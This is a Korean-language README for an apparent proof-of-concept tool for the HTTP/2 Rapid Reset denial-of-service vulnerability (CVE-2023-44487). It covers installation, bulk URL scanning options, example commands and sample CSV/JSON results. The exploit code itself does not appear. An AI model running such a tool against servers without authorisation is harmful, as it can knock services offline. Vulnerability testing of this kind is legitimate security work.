
이 도구는 CVE-2023-44487, 일명 HTTP/2 Rapid Reset Attack에 대한 개념 증명(PoC)입니다. 이 취약점은 공격자가 HTTP/2 연결을 통해 RST_STREAM 프레임을 빠르게 전송하여 대상 서버를 압도함으로써 서비스 거부(DoS) 공격을 수행할 수 있게 합니다.
다음 명령어를 사용하여 필요한 Python 라이브러리를 설치합니다:
pip install -r requirements.txt
또는 개별적으로 설치할 수도 있습니다:
pip install httpx==0.24.0
pip install h2==4.1.0
pip install tqdm==4.66.1
pip install xlsxwriter==3.1.6
리포지토리 클론
git clone https://github.com/yourusername/CVE-2023-44487-HTTP-2-Rapid-Reset-Exploit-PoC.git
cd CVE-2023-44487-HTTP-2-Rapid-Reset-Exploit-PoC
가상 환경 설정 (선택 사항이지만 권장됨)
python3 -m venv venv
source venv/bin/activate
의존성 설치
pip install -r requirements.txt
--url: 테스트할 URL (예: https://example.com 또는 http://example.com)--bulk: 테스트할 URL 목록이 포함된 파일--port: 포트 지정 (기본값은 HTTPS의 경우 443, HTTP의 경우 80)--output: 결과를 저장할 출력 파일 (.csv, .txt, 또는 .xlsx)단일 URL 테스트
python3 main.py --url https://example.com
파일에서 여러 URL 테스트
python3 main.py --bulk urls.txt
사용자 지정 포트 지정
python3 main.py --url http://example.com --port 8080
결과를 파일로 저장
python3 main.py --bulk urls.txt --output results.xlsx
[
{
"Timestamp": "2024-12-03 10:00:00",
"URL": "https://example.com",
"HTTP/2 Support": "Yes",
"Vulnerable": "VULNERABLE",
"Details": "RST_STREAM sent successfully"
},
{
"Timestamp": "2024-12-03 10:00:05",
"URL": "http://testsite.com",
"HTTP/2 Support": "No",
"Vulnerable": "SAFE",
"Details": "Downgraded to HTTP/1.1"
}
]
RST_STREAM 프레임에 대해 CVE-2023-44487에 취약할 수 있음을 시사하는 방식으로 응답했음을 나타냅니다. 추가 수동 검증이 권장됩니다.httpx==0.24.0
h2==4.1.0
tqdm==4.66.1
xlsxwriter==3.1.6
urls.txt라는 이름의 파일에 다음 내용이 있다고 가정합니다:
https://example.com
http://testsite.com
https://vulnerable-site.com
명령어:
python3 main.py --bulk urls.txt --output results.csv
results.csv 샘플:
Timestamp,URL,HTTP/2 Support,Vulnerable,Details
2024-12-03 10:15:00,https://example.com,Yes,VULNERABLE,RST_STREAM sent successfully
2024-12-03 10:15:05,http://testsite.com,No,SAFE,Downgraded to HTTP/1.1
2024-12-03 10:15:10,https://vulnerable-site.com,Yes,VULNERABLE,RST_STREAM sent successfully
참고: https://vulnerable-site.com을 테스트 권한이 있는 실제 사이트로 교체하세요.
추가 지원이 필요하거나 수정 사항이 있으면 알려주세요!
| Timestamp | URL | HTTP/2 Support | Vulnerable | Details |
|---|
| 2024-12-03 10:00:00 | https://example.com | Yes | VULNERABLE | RST_STREAM sent successfully |
| 2024-12-03 10:00:05 | http://testsite.com | No | SAFE | Downgraded to HTTP/1.1 |